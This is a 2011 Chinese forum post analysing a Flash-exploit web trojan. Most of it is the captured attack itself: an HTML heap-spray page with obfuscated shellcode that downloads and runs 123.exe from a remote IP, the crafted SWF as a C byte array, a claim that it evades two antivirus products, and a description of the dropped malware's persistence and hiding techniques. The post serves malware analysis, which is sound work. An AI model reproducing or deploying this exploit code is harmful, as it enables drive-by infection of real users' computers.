falsh漏洞产生的网马:
<html>
<head>
</head>
<body>
<script>
function jspray() {
var htemp = new Array();
var sc = "xpz9011xpz56e8xpz0000xpz5300xpz5655xpz8b57xpz246cxpz8b18xpz3c45xpz548bxpz7805xpzea01xpz4a8bxpz8b18xpz205axpzeb01xpz32e3xpz8b49xpz8b34xpzee01xpzff31xpz31fcxpzacc0xpze038xpz0774xpzcfc1xpz010dxpzebc7xpz3bf2xpz247cxpz7514xpz8be1xpz245axpzeb01xpz8b66xpz4b0cxpz5a8bxpz011cxpz8bebxpz8b04xpze801xpz02ebxpzc031xpz5e5fxpz5b5dxpz08c2xpz5e00xpz306axpz6459xpz198bxpz5b8bxpz8b0cxpz1c5bxpz1b8bxpz5b8bxpz5308xpz8e68xpz0e4expzffecxpz89d6xpz53c7xpz8e68xpz0e4expzffecxpzebd6xpz5a50xpzff52xpz89d0xpz52c2xpz5352xpzaa68xpz0dfcxpzff7cxpz5ad6xpz4debxpz5159xpzff52xpzebd0xpz5a72xpz5bebxpz6a59xpz6a00xpz5100xpz6a52xpzff00xpz53d0xpza068xpzc9d5xpzff4dxpz5ad6xpzff52xpz53d0xpz9868xpz8afexpzff0expzebd6xpz5944xpz006axpzff51xpz53d0xpz7e68xpze2d8xpzff73xpz6ad6xpzff00xpze8d0xpzffabxpzffffxpz7275xpz6d6cxpz6e6fxpz642expz6c6cxpze800xpzffaexpzffffxpz5255xpz444cxpz776fxpz6c6expz616fxpz5464xpz466fxpz6c69xpz4165xpze800xpzffa0xpzffffxpz2e2expz705cxpze800xpzffb7xpzffffxpz2e2expz705cxpze800xpzff89xpzffffxpz7468xpz7074xpz2f3axpz392fxpz2e38xpz3231xpz2e36xpz2e37xpz3432xpz2f32xpz3231xpz2e33xpz7865xpz0065xpz0000";
sc = unescape(sc.replace(/xpz/g,"%u"));
var snop = "xpz1111xpz1111";
snop = unescape(snop.replace(/xpz/g,"%u"));
do { snop += snop } while (snop.length < 8200);
for (i=0; i < 12000; i++)
htemp[i] = [snop + sc].join("");
}
jspray();
</script>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="Abysssec" width="0" height="0"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="demo.swf" />
</object>
</center>
</body>
</html>
demo.swf是一段特殊构造的文件,浏览器打开会使程序调用到0x11111118的位置,上面的一段脚本函数function jspray() 就是使得shellcode覆盖到0x11111118的位置。
demo.swf的winhex复制出来的C数据是:
unsigned char data[2017] = {
0x43, 0x57, 0x53, 0x0A, 0x05, 0x10, 0x00, 0x00, 0x78, 0x9C, 0x7D, 0x57, 0xC9, 0x72, 0xDC, 0xC6,
0x19, 0x46, 0x63, 0x16, 0x10, 0x5C, 0x44, 0x52, 0xDC, 0xA4, 0xD1, 0x6E, 0xD3, 0x96, 0x92, 0x38,
0x64, 0x37, 0x7A, 0x85, 0x2E, 0x09, 0x80, 0x46, 0x27, 0x72, 0xC9, 0xE6, 0x81, 0x3A, 0xE4, 0xC2,
0x12, 0x87, 0x24, 0x68, 0x4E, 0x8A, 0x1A, 0xB2, 0x86, 0x63, 0xC5, 0xBA, 0xBA, 0xCA, 0xEF, 0x90,
0xA3, 0xCE, 0x79, 0x09, 0xBF, 0xC2, 0x28, 0xAA, 0x72, 0x1E, 0x87, 0xF9, 0x1B, 0xCB, 0x10, 0x20,
0x59, 0x06, 0xD9, 0x98, 0x46, 0xF7, 0xBF, 0x7C, 0xFF, 0xD2, 0xFD, 0x77, 0xFF, 0xE4, 0x74, 0xDE,
0x3A, 0xCE, 0xE2, 0x47, 0xC7, 0xB9, 0x87, 0x1C, 0xBD, 0x3C, 0xE3, 0x38, 0x4E, 0xE2, 0x5E, 0x5E,
0x5E, 0xFE, 0xBA, 0x36, 0x07, 0x5D, 0xE4, 0xEC, 0x1E, 0x66, 0xC3, 0xEC, 0x29, 0x71, 0x9C, 0x5F,
0x57, 0xFF, 0xB3, 0x68, 0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68, 0x12, 0x1A,
0x50, 0x32, 0xA0, 0x89, 0x88, 0x4A, 0xAD, 0x76, 0x01, 0x70, 0x85, 0x10, 0x44, 0x72, 0x91, 0x48,
0x66, 0xA1, 0x61, 0xCB, 0x6C, 0x61, 0x82, 0x84, 0x10, 0x70, 0x02, 0x1A, 0xFB, 0x25, 0xB9, 0xB2,
0xEA, 0x80, 0x5F, 0x46, 0x92, 0x9A, 0x58, 0xC4, 0x52, 0xE0, 0x42, 0x7B, 0x8E, 0x39, 0xCC, 0x11,
0x59, 0xED, 0x16, 0x7F, 0x8E, 0x9D, 0x08, 0x69, 0x55, 0xC6, 0x2C, 0x11, 0x25, 0x62, 0x6B, 0x97,
0x92, 0xB9, 0x0E, 0x4A, 0x64, 0xD9, 0x9B, 0x6A, 0x48, 0x63, 0xA1, 0x02, 0xC2, 0x52, 0xE0, 0x64,
0xA1, 0xD4, 0x69, 0x4C, 0xEA, 0x1A, 0x6E, 0xD2, 0x87, 0xC4, 0x24, 0x54, 0x90, 0x08, 0x4B, 0x91,
0x62, 0x9A, 0x84, 0x29, 0xBF, 0x89, 0xC8, 0xFA, 0x04, 0xE8, 0x75, 0x69, 0x59, 0xE9, 0xEC, 0x5A,
0x5F, 0x55, 0x94, 0x51, 0x60, 0x0C, 0x91, 0x40, 0x2B, 0xAC, 0x07, 0x80, 0x82, 0xC1, 0x28, 0xD8,
0xCF, 0x52, 0xA6, 0x2A, 0x8D, 0x5A, 0x4B, 0xC3, 0xB4, 0x20, 0x58, 0x06, 0x81, 0xC2, 0x71, 0x10,
0xA6, 0x0D, 0x84, 0xA5, 0x95, 0xE9, 0x54, 0x66, 0xAC, 0x72, 0xED, 0x39, 0x2F, 0x56, 0x4C, 0xD0,
0x20, 0xD0, 0x10, 0x49, 0x19, 0x87, 0x89, 0xD6, 0x41, 0x9D, 0x97, 0x07, 0x81, 0x28, 0x71, 0x32,
0xC0, 0x67, 0xF5, 0xCB, 0x29, 0xCA, 0x02, 0x49, 0xC0, 0x83,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0xBB, 0x78,
0xFF, 0x0B, 0xBC, 0xFF, 0x25, 0xDE, 0xDF, 0xC4, 0xFB, 0x5F, 0xE1, 0xFD, 0xAF, 0xF1, 0x7E, 0x1B,
0xEF, 0x3F, 0xFF, 0x87, 0xF3, 0xA8, 0x78, 0x4E, 0x5A, 0x40, 0xFE, 0x97, 0x95, 0x9E, 0x53, 0xDC,
0xD7, 0xAB, 0x9B, 0xF5, 0x56, 0xFD, 0x66, 0xED, 0xFC, 0x15, 0x66, 0xFE, 0x0F, 0x61, 0x53, 0x7C,
0xAE
};
这段shellcode使得获取URLDownloadToFile函数下载123.exe,然后运行.
经过测试这个木马可以过360,卡巴。(免杀做得不错)。
123.exe的分析(不给出汇编代码,感觉有点不尊重阅读者):
流程: 释放文件Identities.dat,Licence.Dll,pexo261.dll,pexo261.exe,ruei.dll文件到C:\Documents and Settings\Administrator\Application Data\Macromedia目录,然后给pexo261.exe创建快捷方式到启动项(xp,W7通用,UAC造成的结果),伪装成explorer.lnk。检测是否存在杀毒软件,如果存在那么重启运行(这里面又全局hook,所有这样可以过主动),不存在写注册表SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows,AppInit_DLLs=“dll的全路径”,LoadAppInit_DLLs。
特点:注入到explorer,hook函数NtQueryDirectoryFile隐藏快捷方式文件(这个时候你用explorer是看不到这个启动项的)。
木马行为特点:打开任务管理器,选中的一栏会不停的闪动,而且开任务管理后,木马会运行死循环来使CPU百分百。
- 标 题:关于最近flash漏洞利用的木马分析
- 作 者:woshixutao
- 时 间:2011-04-19 21:12:18
- 链 接:http://bbs.pediy.com/showthread.php?t=132638